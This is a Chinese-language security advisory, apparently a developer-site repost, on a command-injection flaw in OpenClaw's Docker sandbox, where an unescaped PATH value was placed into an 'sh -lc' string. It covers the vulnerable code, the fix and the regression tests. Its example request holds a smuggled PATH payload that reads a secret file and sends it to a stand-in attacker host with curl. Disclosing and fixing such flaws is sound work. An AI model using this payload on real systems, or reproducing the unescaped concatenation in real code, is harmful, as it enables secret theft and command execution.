漏洞来源

漏洞描述

OpenClaw(原名 Clawdbot)是一款运行在用户设备上的个人 AI 助手。在 2026.1.29 版本之前,OpenClaw 的 Docker 沙箱执行机制存在命令注入漏洞,原因是其在构建 shell 命令时对 PATH 环境变量的处理不安全。已认证且能够控制环境变量的用户可以影响容器内命令的执行。此漏洞已在 2026.1.29 版本中修复。

漏洞原理

Clawdbot 在 Docker 沙箱模式下构造容器内执行命令时,将用户可控的 PATH 环境变量未经转义直接拼接到 shell 命令字符串中(如 export PATH=" $ {user_input}: $ PATH"; command),由于该字符串会被容器内的 sh -lc 解析执行,攻击者可通过在 PATH 中注入如 $ (...) 等 shell 元字符,使恶意代码在 shell 解析阶段被提前执行,从而实现任意命令注入。

漏洞分析

该漏洞存在于代码文件:src/agents/bash-tools.shared.ts

const pathExport = params.env.PATH ? `export PATH="${params.env.PATH}:$PATH"; ` : "";
  args.push(params.containerName, "sh", "-lc", `${pathExport}${params.command}`);
  • 此处使用模板字符串将 params.env.PATH 直接嵌入到最终传递给 sh -lc 的命令参数中。
  • 由于 sh -lc 会完整解析整个命令字符串(包括双引号内的内容),若 params.env.PATH 包含如 $ (...)、反引号、; 等 shell 元字符,这些内容会在 export 执行前被 shell 展开并执行

漏洞流程

用户发起请求
已认证用户调用 Clawdbot 的 exec 工具,指定 host=sandbox,并传入自定义环境变量:

{
  "command": "ls",
  "env": {
    "PATH": "$(curl attacker.com?leak=$(cat /secret))"
  }
}

后端将请求参数传递给 src/agents/bash-tools.shared.ts 中的 buildDockerExecArgs
函数将恶意 PATH 直接插值到 shell 命令中:

sh -lc 'export PATH="$(curl ...):$PATH"; ls'


docker exec 在容器内启动 sh -lc,传入上述字符串。
容器内的 shell 在解析命令时,先执行 $ (curl ...),导致任意命令运行。

漏洞修复

不再将 PATH 拼入 shell 命令字符串

  • 若存在 params.env.PATH,则将其值通过 -e 传递给容器,但使用一个内部专用环境变量名:ts
if (params.env.PATH) {
  args.push("-e", `CLAWDBOT_PREPEND_PATH=${params.env.PATH}`);
}
  • shell 命令字符串中不再出现任何 PATH 相关内容,仅保留原始命令:ts
args.push(params.containerName, "sh", "-lc", params.command);

依赖容器内预置的 shell 配置处理 PATH

if [ -n "$CLAWDBOT_PREPEND_PATH" ]; then
  export PATH="$CLAWDBOT_PREPEND_PATH:$PATH"
fi

该脚本在 login shell(sh -l)启动时自动执行,在 shell 内部安全地拼接 PATH,而非由外部传入拼接好的命令字符串。

由于 $ CLAWDBOT_PREPEND_PATH 的值是通过 Docker 的 -e 机制设置的环境变量,其内容不会被二次解析为 shell 代码——即使包含 $ (...),也仅作为普通字符串存储,不会触发命令替换。

在 src/agents/bash-tools.test.ts 中新增的测试明确验证了两点:

PATH 被转存到 CLAWDBOT_PREPEND_PATH:

expect(args).toContain(`CLAWDBOT_PREPEND_PATH=${injectedPath}`);

最终传给 sh -lc 的命令字符串中不包含原始 PATH 值:

expect(commandArg).not.toContain(injectedPath);

这表明:攻击载荷(如 $ (...))仅作为环境变量值传递,未进入可被 shell 解析的命令上下文,从而阻断注入链。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐